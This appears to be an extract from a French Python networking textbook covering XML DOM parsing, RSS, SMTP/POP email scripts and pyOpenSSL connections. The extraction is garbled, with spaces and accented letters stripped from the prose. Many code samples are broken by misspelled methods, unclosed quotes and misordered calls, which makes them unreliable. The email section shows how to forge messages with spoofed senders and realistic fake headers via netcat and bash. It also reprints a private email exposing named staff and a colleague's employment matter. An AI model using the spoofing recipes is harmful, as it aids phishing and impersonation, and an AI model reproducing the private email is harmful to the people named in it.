CestlAPIlaplusadaptepourlireundocumentXMLenentieretraliserdestraitements.
Nouspouvonsparexempleconstruireunestructurerassemblantlesdonnesdudocument.Parcontre,silsagit
demodifierunestructureXMLexistante,SAXnestpastrsperformant.
Pourcegenredetche,DOMestprfrable.
Ladiffrenceentrecesparsersest :

SAX : lie les fonctions des vnements. Lorsque lvnement se produit (action douverture ou de
fermeturedunebalise),lafonctionenquestionestappele.
DOM :chargeenmmoirelefichieretretourneunestructureXML.Ensuite,nouspouvonsnousbalader
entre les n uds (monter, descendre...). Les actions ralises peuvent tre complexes si nous les
comparonsSAX,maisDOMestbeaucoupplusgourmandentermesderessources.

Grce cette API, nous allons pouvoir lire un fichier XML mais galement ajouter de nouveaux lments ce
fichier.IlfautsavoirquavecDOM,toutestunlmentouunn ud.Silonreprendlexempleprcdent,letag
<titre>detypelmentcontient introduction detypetexte.
Un des inconvnients principaux de cette API est quelle est peu adapte pour de gros documents. Larbre
gnrenmmoirepartirdufichierXMLestenviron 16foisplusgrosquelefichier.
NousallonscrerunpetitscriptpourgnrerlefichierXML.Ilestimportantdebienconnatrelastructuredun
fichierXMLetlanotiondeparents/enfantsentrelesn udsdufichier.
Enaucuncaslesbalisesnedoiventserecouvrir,leXMLimposeunehirarchiestricte.
NousdevonsveillerdabordcequelalibrairiePythonxmlsoitinstallesurnotresystme.

#!/usr/bin/env python
#coding:utf-8
from xml.dom.minidom import Document
document=Documents()
racine=document.createElement("racine")
document.appendChild(racine)
child=document.createElement("child")
child.setAttribute("id","10")
racine.appendChild(child)
print document.toxml()

Rsultat

<?xml version="1.0"?>
<racine>
<child id=10/>
</racine>

Undocumentadmetuneracineunique,<racine>,quiestledpartdetoutdocumentXML.
Lorsdelacrationdun udfils,lappellamthode appendChild()sefaitsurlobjetracineafinqueletag
filsdeviennelen udfilsderacine.

- 2-

ENI Editions - All rights reserved - chantal gournier

#!/usr/bin/env python
#coding:utf-8
from xml.dom.minidom import Document
import xml.dom.ext
doc=Document()
noeud_racine=doc.createElement("Sommaire")
doc.appendChild(noeud_racine)
comment=doc.createComment("Ceci est un exemple")
noeud_racine.appendChild(comment)
titre=doc.createElement("titre")
noeud_racine.appendChild(titre)
contenu=doc.createTextNode("Programmation Python")
titre.appendChild(contenu)
element=doc.createElement("chapitre")
element.setAttribute("numero","1")
noeud_racine.appendChild(element)
titre=doc.createElement("titre")
element.appendChild(titre)
contenu=doc.createTexteNode("Introduction")
titre.appendChild(contenu)
date=doc.createElement("date")
date.setAttrbute("jour","14")
date.setAttribute("mois","Janvier")
date.setAttribute(annee","2012")
element.appendChild(date)
img=doc.createElement("img")
img.setAttribute("src","logo1.jpg")
element.appendChild(img)
auteur=doc.createElement("auteur")
element.appendChild(auteur)
contenu=doc.createTextNode("Ebel Franck")
auteur.appandChild(contenu)
element=doc.createElement("chapitre")
element.setAttribute("numero","2")
noeud_racine.appendChild(element)
titre=doc.createElement("titre")
element.appendChild(titre)
contenu=doc.createTexteNode("Introduction")
titre.appendChild(contenu)
date=doc.createElement("date")
date.setAttrbute("jour","15")
date.setAttribute("mois","Janvier")
date.setAttribute(annee","2012")
element.appendChild(date)
img=doc.createElement("img")
img.setAttribute("src","logo2.jpg")
element.appendChild(img)
auteur=doc.createElement("auteur")
element.appendChild(auteur)
contenu=doc.createTextNode("Editions ENI")
auteur.appandChild(contenu)
def output_xml(doc,dir_xml) :
file=open(dir_xml,"w")
xml.dom.ext.PrettyPrint(doc,file)
output_xml(doc, "mon_premier_document.xml")

Nousfaisonsappellamthode createElement()pourdclareruntagxmldanslarbreXML,ensuitenous
devonspasserlamthodeappendChild()quisoccupedecrerlen uddelarbre.
Enralitcettemthodeajouteunn udenfantceluiprcdemmentcr.
Lors de cet appel doc.appendChild(noeud_racine) le premier n ud que lon alloue dans larbre est
toutsimplementunenfantdelaracinedudocument, crendbutdeprogramme.

ENI Editions - All rights reserved - chantal gournier

- 3-

EnsuiteonappellesuccessivementcettemthodepourconstruirelarborescencedelarbreXML.

Output_xml est une fonction qui prend en paramtre le nom de lobjet de type document et le lien o lon
stockeralefichierXMLensortie.Nouspouvonsgalementafficherlersultatsanspasserparcettefonction,en
utilisantdoc.toxml().
SilastructureXMLapportelisibilitetrobustesse,leproblmedaccslinformation demeure.
LAPIDOMfournitdesmthodespourparserunfichieretrcuprerfacilementlesinformationscontenuesdans
lesbalises.IlexisteunemthodetrsutileintitulegetElementByTagName("auteur")quirenvoielaliste
detousleslmentscontenusdanslesbalises<auteur></auteur>.
Dautresattributsdobjetssavrentutilespourlalecturedenosarbres.

firstChildincarnelepremierfilsdun udparent, previousSiblingpointesurlen udprcdantlefils


ayantlemmeparent.
n extSiblingpointesurlen udsuivantlefilsayantlemmeparent.
GrceDOM,vouspourrezcrervotrepropreagrgateurdedonnesRSSouagencervosbookmarksdansun
fichiertoutenmanipulantfacilementlesdonnesXMLsanspourautantpasserparlescontraintesdunebasede
donnes.

4.LireunfluxRSS
LemoduleminidompermetgalementdextrairedemanireassezintuitivedesinformationsdundocumentXML.
VoiciparexemplecommentseservirduformatRDF.

Import urllib
from xml.dom import minidom
def getTextFromNode(node) :
"""extrait le texte dune balise (nud)"""
return "".join([n.nodeValue for n in node.ChildNodes if
n.nodeType == n.TEXT_NODE])
doc=minidom.parse(urllib.urlopen("http://python.org/
channews.rdf")
)
print "<hl>Python news</h1>"
print "<ol>"
for item in doc.getElementsByTagName("item")[:3] :
print <li>\n <a herf="%s">%s</a>\n </li>%
(getTextFromNode(item.getElementsByTagName("link")
[0]),getTextFromNode(item.getElementsByTagName("title")[0]))
print "</ol>"

- 4-

ENI Editions - All rights reserved - chantal gournier

Lesemails
1.Introduction
Lesemailssontmaintenantmonnaiecourante.Toutpassepareux.
Ilestpossibledelesfalsifierassezfacilementdslorsquelonconnatleurfonctionnement.
Commenonsdoncparforgerunemailenutilisantlutilitairenetcat :
Exemple1 :emailforggrcenetcat

Bash-3.2# nc -vv smtp.free.fr 25


smtp.free.fr [212.27.48.4] 25 (smtp) open
220 smtp1-g19.free.fr ESMTP Postfix
helo free
250 smtp1-g19.free.fr
MAIL FROM:fasm@acissi.net
250 Ok
RCPT TO:franck.ebel@univ-valenciennes.fr
250 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject: mail avec nc
Date : 26 Decembre 2011
bonjour,
test de mail
.

Nouspouvonsdoncaismentforgerunmaillamain,lexemplecidessusnousledmontre,maisbiensrds
rceptionnouspourronsvoirquecemailnestpascompletetdoncdtecterlamalfaon.
Exemple2

#!/bin/bash
if [[ $# != 2 ]]; then
echo "usage: ./mail.sh mail_source mail_destination"
exit
fi
{
echo "helo smtp.univ-valenciennes.fr";
echo "MAIL FROM:$1";
echo "RCPT TO: $2";
echo "data";
echo "Message-ID: <4CDE66FB.5080406@univ-valenciennes.fr>";
echo "Date: Thu, 27 Oct 2011 11:22:51 +0100";
echo "From: $1";
echo "User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6";
echo "MIME-Version: 1.0";
echo "To: $2";
echo "Subject:test eni";
echo "Content-Type: text/plain; charset=ISO-8859-1";
echo "Content-Transfer-Encoding: 7bit";
echo "Bonjour eni";
echo "Test de mail";
echo "Deuxieme lmigne";
echo "cordialement";
echo " ";
echo " ";

ENI Editions - All rights reserved - chantal gournier

- 1-

echo ".";
echo " ";
echo "QUIT";
}| nc -vv adresse_votre_serveur_mail 25

Danscetexemplenousavonsforgunmailenremplissantlemaximumdinformationstellesquelesujet,ladate,
leMessageID.
Ce dernier mail ressemblera maintenant vraiment un vrai mail , seul votre bon sens vous permettra de
confirmersonauthenticit.
Nousvoyonsquececiestfacilementralisableenscriptbash,maiscommentraliserlammechoseenPython
etcommentyadjoindreensuiteunepicejointe ?

2.Labibliothquesmtplib
Nousallonsutiliserlabibliothquesmtplib.Lesinformationsminimalesdontnousavonsbesoinsont:ladresse
denvoi,ladressededestination,lecorpsdumessageetleserveurSMTP.
Nouspourronsensuiteajouterlesujet,ladateparexemple.

a.Lecorpsdutexte
chap1_exo32.py

#!/usr/bin/env python
import sys, smtplib
fromaddr = raw_input("From: ")
toaddrs = string.splitfields(raw_input("To: "), ,)
print "Entrez le message :"
msg =
while 1:
line = sys.stdin.readline()
if not line:
break
msg = msg + line
server = smtplib.SMTP(localhost)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()

localhostserabienvidemmentremplacparladressedenotreserveurdemail.
PourindiquerleserveurSMTP,ilnousfaudrautilisersmtplib.SMTP.
Lenvoidemailseferagrcesendmail(from,to,msg).
Nousauronsdaupralablerenseignerfrom,toetmsg.
Linconvnientaveclescriptprcdentestquelesujetestvide.
Nouspourronsaussirenseignerladateetlheure(quenouspourronsantidateroupostdater).
chap1_exo33.py

# !/usr/bin/env python
import smtplib
from email.MIMEText import MIMEText

- 2-

ENI Editions - All rights reserved - chantal gournier

from email import Utils


moi=raw_input("From: ")
lui=raw_input("To: ")
sujet=raw_input("Sujet: ")
date=raw_input("donnez la date : ")
print "Entrez votre message:\n"
msg =
while 1:
line = raw_input()
if not len(line):
break
msg = msg + line
mail =MIMEText(msg)
mail[From] = moi
mail[Subject] = sujet
mail[To] = lui
mail[Date]=date
mail[Message-ID]=Utils.make_msgid()
server = smtplib.SMTP(adresse_serveur_mail)
print "configuration du serveur smtp"
server.sendmail(moi, [lui], mail.as_string())
print "le message "+str(i)+" est envoye"
server.quit()

Nous dterminons dans ce script la variable mail comme tant de type MIMEText, nous pouvons donc
maintenantremplirtousleschampsncessairestelsqueFrom,To,Subject,etc.afindessayerdobtenirunmail
leplusconformepossible.
Comme nous lavons vu prcdemment, chaque mail a un identifiant. Nous le crons ici grce la fonction
Utils.make_msgid().
Leresteduscriptadjtvudanslesscriptsprcdents.

b.Mailavecpicejointe
NousauronsbesoindecrerdutexteetlecorpsdumailavecMIMEText,puisdegrerlimageavecMIMEImage
etenfinderassemblerlensemblegrceMIMEMultipart.
chap1_exo34.py

#!/usr/bin/env python
# -*- coding: utf-8 -*# la lib smtp qui nous permet de dialoguer avec un serveur de mail
import smtplib
# un e-mail multipart (contient des pieces jointes)
from email.MIMEMultipart import MIMEMultipart
# un message e-mail de type texte
from email.MIMEText import MIMEText
# un message e-mail de type image
from email.MIMEImage import MIMEImage
import mimetypes, posixpath
def image_a_mail(cheminfichier):
renvoie un message de type MIMEImage a partir dun
fichier
# on utilise posixpath pour avoir le nom du fichier
nomfichier = posixpath.basename( cheminfichier )
# puis pour obtenir lextension du fichier
extension = posixpath.splitext( nomfichier )
# puis mimetypes pour avoir le content-type de lextension
content_type = mimetypes.types_map[ extension[1] ]
# on ouvre le fichier image en mobe binaire
fichier = open(cheminfichier, rb)
# un objet message avec le contenu du fichier

ENI Editions - All rights reserved - chantal gournier

- 3-

image = MIMEImage( fichier.read() )


# on ajoute les headers pour limage
image.add_header(ContentDisposition,attachment;filename
="%s" %nomfichier )
image.add_header(Content-type,content_type)
# on retourne lobjet message contenant limage
return image
def send(mfrom,mto):
# on ajoute les headers pour le mail principal
emailmultipart[From]=mfrom
emailmultipart[To]=mto
emailmultipart[Subject]=Bonjour !
# on cree un message simple en html (la classe ! ;)
emailtext = MIMEText(<b>Bonjour !</b>,html)
# on attache ce mail a notre multipart
emailmultipart.attach(emailtext)
# on cree un objet message multipart
emailmultipart = MIMEMultipart()
emailimage =
image_a_mail(
"/home/fasm/ENI_livre_formation/eni_photos/Ebel_Franck.jpg")
# on attache limage a notre multipart
emailmultipart.attach(emailimage)
# on envoie le mail
server = smtplib.SMTP(nom_serveur_smtp)
# on cree un message de type MIMEImage a laide de notre fonction
send(mail_destinataire,mail_source)
server.sendmail(mail_destinataire,mail_source,
emailmultipart.as_string() )
server.quit()

Nous avons ici inclus une image JPG. Nous devrons bien sr, pour que ce script fonctionne, remplacer les
lmentsengraspardevraisparamtres.

MIMEMultipart()permetdecrerunmailaveclecorpsdutexte,maisaussilapicejointe.
Nousutiliseronslafonction open()aveccommeargumentsrb,afindedfinirlemodebinairepourletransfert
delapicejointe.
Lescriptestlargementcommentafindebienexpliquerchaquepartiedelenvoi dunmailavecpicejointe.

3.Analyserdesemails
Nousauronspeuttrebesoindextrairedesinformationsparticuliresdunoudeplusieursemails.
Lemoduleemailatcrceteffet.
Nouspourronsfacilementaccderauxheadersetaucorpsdumessage.
chap1_exo35.py

#!/usr/bin/env python
# --*-- coding:UTF_8 --*-import sys, email
msg=email.message_from_file(sys.stdin)
print " *** Headers du message : "
for header, value in msg.items():
print header + ":"
print " " + value
if msg.is_multipart():

- 4-

ENI Editions - All rights reserved - chantal gournier

print "ce programme ne supporte pas le multipart"


sys.exit(1)
print "-" * 78
if subject in msg:
print "Sujet: ",msg[subject]
print "-" * 78
print "corps du message:"
print
print msg.get_payload()

Lescriptcommenceparchargerlemessage(email.txt)aveclappelemail.message_from_file().
Cettefonctionvachargerlemessageenmmoirepourpouvoirensuitelanalyser.
Lescriptvaensuitechercherlesheadersetsesvaleursassociesdanslemessage, cecigrce msg.items
().
Finalementlecorpsdumessageestaffich.
Rsultatduscriptsurunmail

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo35.py < email.txt
*** Headers du message :
X-Account-Key:
account2
X-UIDL:
1143464059.72043
X-Mozilla-Status:
0001
X-Mozilla-Status2:
00000000
X-Mozilla-Keys:
Return-Path:
<sylvia@univ-valenciennes.fr>
Received:
from eiger.univ-valenciennes.fr ([unix socket])
by eiger.univ-valenciennes.fr (Cyrus v2.3.7-Invoca-RPM2.3.7-7.el5_4.3) with LMTPA;
Tue, 13 Dec 2011 22:02:09 +0100
X-Sieve:
CMU Sieve 2.3
Received:
from titan.univ-valenciennes.fr (titan.univ-valenciennes.fr
[193.50.192.38])
by eiger.univ-valenciennes.fr (Postfix) with ESMTP id
75BDE835F7F
for <Franck.Ebel@eiger>; Tue, 13 Dec 2011 22:02:09 +0100
(CET)
Received:
by titan.univ-valenciennes.fr (Postfix)
id D996A7845B3; Tue, 13 Dec 2011 22:01:54 +0100 (CET)
Delivered-To:
franck.ebel@univ-valenciennes.fr
Received:
from localhost (ent8.univ-valenciennes.fr [193.50.192.148])
by titan.univ-valenciennes.fr (Postfix) with ESMTP id
41792784567;
Tue, 13 Dec 2011 22:01:50 +0100 (CET)
Received:
from 81-67-158-236.rev.numericable.fr
(81-67-158-236.rev.numericable.fr [81.67.158.236]) by
webpers.univ-valenciennes.fr (Horde Framework) with HTTP; Tue, 13

ENI Editions - All rights reserved - chantal gournier

- 5-

Dec 2011
22:02:05 +0100
Message-ID:
<20111213220205.71992j3gzaisc5z4@webpers.univ-valenciennes.fr>
Date:
Tue, 13 Dec 2011 22:02:05 +0100
From:
Sylvia <Sylvia.Casado@univ-valenciennes.fr>
To:
Ebel Franck <Franck.Ebel@univ-valenciennes.fr>
Cc:
Vincent <Vincent@univ-valenciennes.fr>
Subject:
Simon
MIME-Version:
1.0
Content-Type:
text/plain;
charset=ISO-8859-1;
DelSp="Yes";
format="flowed"
Content-Disposition:
inline
Content-Transfer-Encoding:
8bit
User-Agent:
Dynamic Internet Messaging Program (DIMP) H3 (1.1.4)
X-UVHC-titan-MailScanner-ID:
41792784567.A402C
X-UVHC-titan-MailScanner:
Found to be clean
X-UVHC-titan-MailScanner-From:
sylvia@univ-valenciennes.fr
X-Spam-Status:
No
-----------------------------------------------------------------Sujet: Simon Onduo
-----------------------------------------------------------------corps du message:
Bonsoir Franck,
Jai appris par Simon puis par Catherine que le contrat
de Simon a ete rompu.
Tiens-moi au courant.
Cordialement,

-IUT Maubeuge

4.Analyserlesdates
Rcuprerladatedun message nest pas simple. En effet, la reprsentation de la date suivant les pays et la
gnrationdedateparleslogicielsdemailsposentsouventproblme.
Email.Utilsvanousaiderrsoudreceproblme.
Lafonctionparsedate_tz()vachargerladateentantquechanedecaractresetretourneruntuplede10
lments.
Les9premierspourronttrepassstime.mktime().

- 6-

ENI Editions - All rights reserved - chantal gournier

Ledernierlmentspcifielelieugographique(timezone).
Cedernierlmentpourratrepassmktime_tz()quiconvertiraladateensecondesdepuisle1erjanvier
1970,UTC(epoch).
chap1_exo36.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import sys, email, time
from email import Utils
def getdate(msg):
if not date in msg:
return None
datehdr=msg[date].strip()
try:
return
Utils.mktime_tz(Utils.parsedate_tz(datehdr))
except:
return None
msg=email.message_from_file(sys.stdin)
dateval=getdate(msg)
if dateval is None:
print "pas de date valide trouvee"
else:
print "le message a ete envoye le :",time.strftime(%A, %B
%d %Y %I:%M %p,time.localtime(dateval))

Rsultatduscriptchap1_exo36.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo36.py < email.txt
le message a ete envoye le : Tuesday, December 13 2011 10:02 PM

5.Erreursetdebugging
IlexistediffrenteserreursquelonvapouvoirgrerenPythonaveclalibrairiesmtplib.

socket.gaierror :problmesdelookupdesadresses.

socket.error :problmesdentres/sortiesetdecommunication.

socket.herror :touslesautresproblmesdadresses.

smtplib.SMTPException :problmesdeconversationsmtp.

Nousavonsdjdiscutdestroispremireserreursprcdemment.
Nousutiliseronslaquatrimeerreurpourgrerlesproblmesdecommunicationavecleserveur.
IlexisteaussiunefonctionpourdbuggerleSMTPquiestsmtpobj.set_debuglevel(1).
Voiciunexempledimplmentationdecesfonctions.
chap1_exo37.py

#!/usr/bin/env python
import sys,smtplib,socket
ENI Editions - All rights reserved - chantal gournier

- 7-

if len(sys.argv)<4:
print "La syntaxe est la suivante : %s serveur
adresse_source adresse_destination
[adresse_destination...]"%sys.argv[0]
sys.exit(255)
server=sys.argv[1]
fromaddr=sys.argv[2]
toaddrs=sys.argv[3]
message="""to: %s
From: %s
Subject: Test de message
Salut,
Voici un message envoye grace a smtplib.
"""%(,.join(toaddrs), fromaddr)
try:
s=smtplib.SMTP(server)
s.set_debuglevel(1)
s.sendmail(fromaddr, toaddrs, message)
except (socket.gaierror, socket.error, socket.herror,
smtplib.SMTPException), e:
print " *** Votre message na pas pu etre envoye ***"
print e
sys.exit(1)
else:
print "Votre message a ete envoye avec succes a %d
destinataire(s)"%len(toaddrs)

Rsultatduscriptchap1_exo37.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo37.py popuvhc.univ-valenciennes.fr titi@free.fr
fasm@acissi.net
send: ehlo localhost6.localdomain6\r\n
reply: 250-eiger.univ-valenciennes.fr\r\n
reply: 250-PIPELINING\r\n
reply: 250-SIZE 51200000\r\n
reply: 250-VRFY\r\n
reply: 250-ETRN\r\n
reply: 250-ENHANCEDSTATUSCODES\r\n
reply: 250-8BITMIME\r\n
reply: 250 DSN\r\n
reply: retcode (250); Msg: eiger.univ-valenciennes.fr
PIPELINING
SIZE 51200000
VRFY
ETRN
ENHANCEDSTATUSCODES
8BITMIME
DSN
send: mail FROM:<titi@free.fr> size=128\r\n
reply: 250 2.1.0 Ok\r\n
reply: retcode (250); Msg: 2.1.0 Ok
send: rcpt TO:<fasm@acissi.net>\r\n
reply: 250 2.1.5 Ok\r\n
reply: retcode (250); Msg: 2.1.5 Ok
send: data\r\n
reply: 354 End data with <CR><LF>.<CR><LF>\r\n
reply: retcode (354); Msg: End data with <CR><LF>.<CR><LF>
data: (354, End data with <CR><LF>.<CR><LF>)
send: to: fasm@acissi.net\r\nFrom: titi@free.fr\r\nSubject: Test

- 8-

ENI Editions - All rights reserved - chantal gournier

de message\r\n\r\nSalut,\r\n\r\nVoici un message envoye grace a


smtplib.\r\n.\r\n
reply: 250 2.0.0 Ok: queued as A4A66835F94\r\n
reply: retcode (250); Msg: 2.0.0 Ok: queued as A4A66835F94
data: (250, 2.0.0 Ok: queued as A4A66835F94)
Votre message a ete envoye avec succes a 1 destinataire(s)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nousvoyonslvolutiondelaconversationentreleclientetleserveuretpourrons doncdterminerlacauselors
dunchecdecommunication.

6.MailetPOP
Rapatrierdesmailsestunpeudiffrent,maispasforcmentpluscomplexe.
Eneffet,lencore,Pythonpossdequelqueslibrairiesquivontnoustreutiles.

Import poplib
serveur_pop=pop.lib.POP3("pop.domain.com")
serveur_pop.user("febel")
serveur_pop.pass_("python")
print serveur_pop.stat()

Grceauscriptcidessus,nouseffectuonsuneconnexionetunercuprationdinformationssurleserveurPOP.
SielleestrarementmiseenplacesurunserveurSMTP,lauthentificationest,surPOP,ncessaire(nimportequi
nedoitpaspouvoirrcuprervosmails).
Nousutilisonsdonclafonctionuser()etpass_()pournousidentifier.
Nousfaisonsensuiteappelstat(),quinousenvoieunelistequinecontientquedeuxvaleurs :

lapremireestlenombredemessages

lasecondeestlatailledecesmessages.

Donc si on doit rcuprer ces messages, on connat la taille du transfert. Nous allons donc transfrer les
messages.
chap1_exo38.py

import poplib
serveur_pop=pop.lib.POP3("pop.domain.com")
serveur_pop.user("febel")
serveur_pop.pass_("python")
nb,taille=serveur_pop.stat()
print "Nombre de mails = ",nb
print "\nTaille totale = ",taille
for i in range(nb):
message=serveur_pop.ret(i+1)
print message[0]
for ligne in message[1]:
print ligne
print message[2]

Nous nous connectons et nous identifions auprs du serveur, nous affichons ensuite le nombre de mails et la

ENI Editions - All rights reserved - chantal gournier

- 9-

tailletotale.
Puisnousentronsdansunebouclequivarcuprerunparunchaquemail,danslavariablemessage.
Lavariable,unefoisremplieparunmessage,estunelistecontenanttroischamps :

lecodederetourduserveur(okounon).

lemailavecseschamps(from,to,corps...)etsoncontenu.

latailledumail.

Lesecondchamp,quicontientlemail,estuntableaudontchaquecasecontientuneligne.
Nouscronsdoncunepetitebouclepourlafficher.
Ilseraitintressantmaintenantdeprogrammerunpetitscriptquinousinformesinousrecevonsunmailprcis.
Lefonctionnementinterneseralesuivant :jerenseigneuneadressemaildontjattendsuncourrierimportantet
lescriptvaregardersinousavonsunmailcorrespondantcetteadresse.
Pourfairecelanousallons,dsrception,rcuprerlemessagebrutetletransformer enobjetmail :
chap1_exo39.py

#!/usr/bin/env python
#coding:utf-8
from email.MIMEText import MIMEText
from email import message_from_string
from email.Message import Message
import poplib
serveur_pop=pop.lib.POP3("pop.domain.com")
serveur_pop.user("febel")
serveur_pop.pass_("python")
nb,taille=serveur_pop.stat()
print "Nombre de mails = ",nb
print "\nTaille totale = ",taille
for i in range(nb):
print ------------------------
print "Message URGENT"
print ------------------------
message=serveur_pop.ret(i+1)
mail_inline=""
for ligne in message[1]:
mail_inline=mail_inline+info+"\n"
mon_obj_message=message_from_string(mail_inline)
print mon_obj_message.get_payload(From)

Nous rcuprons les mails un un, grce une premire boucle dans laquelle on intgre une seconde pour
crer,partirdutableaucontenanttoutesleslignesdumail,unmailenuneligne,enajoutantles \n entre
chaquechamp.
Nous passons tout cela message_from_string() qui construit un message objet et nous faisons appel
.get_payload()aveccommeargumentFrom(seulunexpditeurmimporte)quipermetdelirelavaleurde
nimportequelchampdemail.

- 10 -

ENI Editions - All rights reserved - chantal gournier

LeSSLenPython
1.Introduction
DeuxmodulessparsenPythonoffrentauxdveloppeurslapossibilitdincorporer SSLdansleursapplications.
NousnereviendronspasicidanslexplicationduSSLnidesonfonctionnement,beaucoupdouvragessurlesujet
onttpublis.
Dans la bibliothque socket dj vue prcdemment, il existe une mthode permettant dutiliser le SSL.
Limplmentation dans socket est vraiment basique et nest pas capable dauthentifier le client distant sur le
serveur.
La seconde possibilit est dutiliser pyOpenSSL, un autre module. Cest une interface du populaire OpenSSL,
beaucouppluspuissanteetcomplexe.
Nousutiliseronspourlasuitecederniermodule.

2.UtilisationdOpenSSL
Commenonsparunexempledescriptbasique.
chap1_exo40.py

#!/usr/bin/env python
#coding:utf-8
import socket, sys
from OpenSSL import SSL
ctx=SSL.Context(SSL.SSLv23_METHOD)
print "Creation du socket ...",
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "socket cree\n"
ssl=SSL.Connection(ctx,s)
print "Etablissement du SSL...",
ssl.connect((www.openssl.org,443))
print "connexion effectuee"
print "Requete demandee...",
ssl.sendall("GET / HTTP/1.0\r\n\r\n")
print "Requete effectuee"
while 1:
try:
buf=ssl.recv(4096)
except SSL.ZeroReturnError:
break
print buf
ssl.close()

Extraitdursultatduscriptchap1_exo40.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo40.py
Creation du socket ... socket cree

ENI Editions - All rights reserved - chantal gournier

- 1-

Etablissement du SSL... connexion effectuee


Requete demandee... Requete effectuee
HTTP/1.1 200 OK
Date: Sat, 14 Jan 2012 18:53:09 GMT
Server: Apache/2.2.20 (OpenPKG/CURRENT)
Last-Modified: Wed, 04 Jan 2012 19:42:25 GMT
ETag: "2ef6e-3eac-4b5b903d96a40"
Accept-Ranges: bytes
Content-Length: 16044
Connection: close
Content-Type: text/html

<html>
<head>
<!-Copyright (c) 1998-2009 The OpenSSL Project,
http://www.openssl.org/
Author:
OpenSSL (openssl@openssl.org)
Modified: 2009-06-24 13:40:01.
Generated from ``index.wml via WML 2.0.11 (19-Aug-2006).
by OpenSSL (openssl@openssl.org)
on 2012-01-04 20:42:25.
DO NOT EDIT THIS FILE DIRECTLY! INSTEAD EDIT ``index.wml.
-->
<meta name="Copyright" content="1998-2009 The OpenSSL Project,
http://www.openss

Nouspouvonsvoirdanslexemplelaconnexionwww.openssl.orgenutilisantleprotocoleSSL.
Pourrussircela,nouscronsdabordunobjetContextenappelant SSL.Context.Ensuite,unsocketat
crpuisunobjetconnexionenSSLSSL.connection(),avecenparamtreslobjetSSLetlobjetsocket.
La connexion est cre et nous pouvons procder lenvoi et la rception de donnes comme nous lavons
djvuaudbutdecechapitre,riendebiendifficile.

3.Vrifierlescertificats
Lexemple prcdent se connecte en SSL sur le serveur mais ne vrifie pas lauthenticit de ce serveur. Nous
allons donc apprendre comment effectuer une authentification du serveur de la mme manire que le fait un
navigateurweb.
Lapremirechosequenousdevonsfaireestdobtenirlecertificatdelautoritcertificateurroot(master).Cette
organisationestreconnuepourvrifierlesidentitsetpourproduiredesclssignes.
Une communaut libre est dailleurs apparue il y a quelques annes en Allemagne et stend maintenant en
Europe,leCACERT.Vouspouvezlibrementetgratuitementobtenirdesclsetcertificatsenfaisantvrifiervotre
identitparunmembrecertificateurreconnu.Pourplusderenseignements,rendezvoussurwww.cacert.org.
Si vous navez pas encore de certificat, vous pouvez vous rapprocher de cet organisme pour rencontrer des
certificateursetenrcuprerun.
Touteslesinformationsncessairesvousserontlivressurlesite.
Voiciunexempledescriptquiseconnecteunsitedistantetvrifielecertificat.
chap1_exo41.py

#!/usr/bin/env python

- 2-

ENI Editions - All rights reserved - chantal gournier

#coding:utf-8
import socket, sys
from OpenSSL import SSL
cafile, host=sys.argv[1:]
def printx509(x509):
fields={country_name:Country,
SP:State/Province,
L:Locality,
O:Organization,
OU:Organiztion Unit,
CN:Common Name,
email:E-mail,}
for field, desc in fields.items():
try:
print "%30s: %s"%
(desc,getattr(x509,field))
except:
pass
cnverified=0
def verify(connection, certificate,ernum,depth, ok):
global cnverified
subject=certificate.get_subject()
issuer=certificate.get_issuer()
print "Certificat de:"
printx509(subject)
print "\nEmis de:"
if not ok:
print "Ne peut pas verifier le certificat"
return 0
if subject.CN==None or subject.CN.lower() != host.lower():
print "Connecte a %s, mais a la certif de %s"%
(host,subject.CN)
else:
cnverified=1
if depth ==0 and not cnverified:
print "Ne peut pas verifier le nom du serveur"
return 0
print "-"*70
return 1
ctx=SSL.Context(SSL.SSLv23_METHOD)
ctx.load_verify_locations(cafile)
ctx.set_verify(SSL.VERIFY_PEER|SSL.VERIFY_FAIL_IF_NO_PEER_CERT,
verify)
print "creation du socket..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Fait"
ssl=SSL.Connection(ctx,s)
print "Etablissement du ssl..."
ssl.connect((host,443))
print "fait"
print "Demande du document..."
ssl.sendall("GET / HTTP/1.0\r\n\r\n")
print "Fait"
while 1:
try:
buf=ssl.recv(4096)
except SSL.ZeroReturnError:
break
print buf
ssl.close()

Rsultatduscriptchap1_exo41.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
ENI Editions - All rights reserved - chantal gournier

- 3-

chap1_exo41.py ../../../personnel/root.crt www.cacert.org


creation du socket...
Fait
Etablissement du ssl...
fait
Demande du document...
Certificat de:
Common Name: CA Cert Signing Authority
Locality: None
Organization: Root CA
Organiztion Unit: http://www.cacert.org
Emis de:
Connecte a www.cacert.org, mais a la certif de CA Cert Signing
Authority
---------------------------------------------------------------Certificat de:
Common Name: www.cacert.org
Locality: Sydney
Organization: CAcert Inc.
Organiztion Unit: None
Emis de:
---------------------------------------------------------------Fait
HTTP/1.1 200 OK
Date: Mon, 16 Jan 2012 20:22:02 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Set-Cookie: cacert=897bbc8ca833cb432189b6b72d78d0a7; path=/;
secure
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1747
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"


"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>CAcert.org Site Stamp DISCONTINUED!</title>
<link rel="stylesheet" href="style.css" type="text/css">
</head>
<body>
<div id="pagecell1">
<div id="pageName"><br>
<h2><a href="https://www.cacert.org">
<img src="https://www.cacert.org/images/cacert3.png"
border="0" alt="CAcert.org logo"></a></h2>
</div>
<div id="content">
<div class="story">
<h3>CAcert.org Site Stamp DISCONTINUED!</h3>
The CAcert Site Stamp service is currently being
